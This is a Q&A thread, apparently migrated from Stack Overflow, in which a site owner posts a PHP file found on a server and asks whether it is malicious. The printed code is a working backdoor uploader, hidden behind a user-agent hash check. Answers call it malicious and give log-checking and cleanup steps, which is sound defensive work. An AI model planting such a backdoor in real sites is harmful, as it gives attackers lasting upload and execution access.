0

I found a strange file on one of my servers containing the code below. The file was last modified one week ago at 1.40AM in the night, which is a bit odd.

I have done lots of changes on this site lately, but I can't remember uploading this file:

<?php if(md5($_SERVER["HTTP_USER_AGENT"]) !== "49de371511c1de3bde34b0108ec7f129")
{
die("04030");
}
if (isset($_FILES["file"])){
    $z = $_FILES["file"]["name"];
    move_uploaded_file($_FILES["file"]["tmp_name"],$z);
    header("Location: $z"); exit(); }
    ?>
<html>
<body>
<form action="<?php echo basename(__FILE__); ?>" method="post" enctype="multipart/form-data">
  <label for="file">Filename:</label>
  <input type="file" name="file" id="file">
  <br>
  <input type="submit" name="submit" value="Submit">
</form>
</body>
</html>

I understand what the code does, but I'm not sure if this could have been uploaded by anyone else then me with the intention of hacking my site. What do you think?

I did a quick server check of all the files that were changed after this code was added, but found nothing suspicious.

migrated from stackoverflow.com Oct 31 '14 at 11:04

This question came from our site for professional and enthusiast programmers.

  • 7
    So you have undocumented and suspicious uploads to your site that would allow a specific remote user to upload and execute files but you're unsure if its a bad thing?? – Grambot Oct 27 '14 at 21:00
  • 2
    I'm more interested in the un-md5 form of 49de371511c1de3bde34b0108ec7f129 :) – HamZa Oct 27 '14 at 21:02
  • I understand what this file can do is a bad thing, but if a hacker has the ability to upload files to my server, why bother first uploading this file? Have you seen anything similar? Is this a common hacker method? – Carl Oct 27 '14 at 21:05
  • Are the website perms configured to allow file uploads? – user2320464 Jan 24 '16 at 1:24
5

This could very well be a malicious file. I would perform the following basic investigative steps:

  1. stat the file # stat filename

  2. use the modified and changed times from the stat and compare those to the web server access_log to track back how the file got there. Likely there will be a POST to a different script where it was uploaded.

  3. If nothing is found in the access logs please check your FTP logs as you could have a compromised FTP user.

Cleanup:

  1. Find and patch vulnerable file if confirmed through access logs
  2. Change comped passwords and run anti-spyware on your local box
  3. Remove malicious file
0

simple answer to your question is "yes", its malicious file.

This could happen by shell uploading using upload forms bugs or having ftp(or other protocols that give file access) access.

but this is very strange! question is if hacker is able to upload files to your website and has access,why does she/he upload this file first?

I wonder if they were trying to grant access to file uploading later too! I mean, if you fix your program bug, they still can upload and RUN their files later just by posting it to their old script. Its kinda granting later access to server files I guess.

morissette has already said how to clean it. I wish I could help someone even though this is old post

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.